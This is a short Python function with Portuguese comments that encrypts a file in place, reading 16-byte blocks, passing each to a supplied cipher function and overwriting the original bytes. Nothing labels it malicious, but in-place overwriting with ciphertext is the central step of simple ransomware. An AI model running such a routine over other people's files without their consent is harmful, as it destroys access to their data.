text: def change_files(filename, cryptoFn, block_size=16):
      with open(filename, 'r+b') as _file:
          raw_value = _file.read(block_size)
          while raw_value:
              cipher_value = cryptoFn(raw_value)
              # compara o tamanho do bloco cifrado com o bloco pano
              if len(raw_value) != len(cipher_value):
                  raise ValueError("o valor cifrado {} tem um tamanho diferente do valor plano {}".format(len(cipher_value),len(raw_value)))
              
              _file.seek(- len(raw_value), 1)
              _file.write(cipher_value)
              raw_value = _file.read(block_size)
  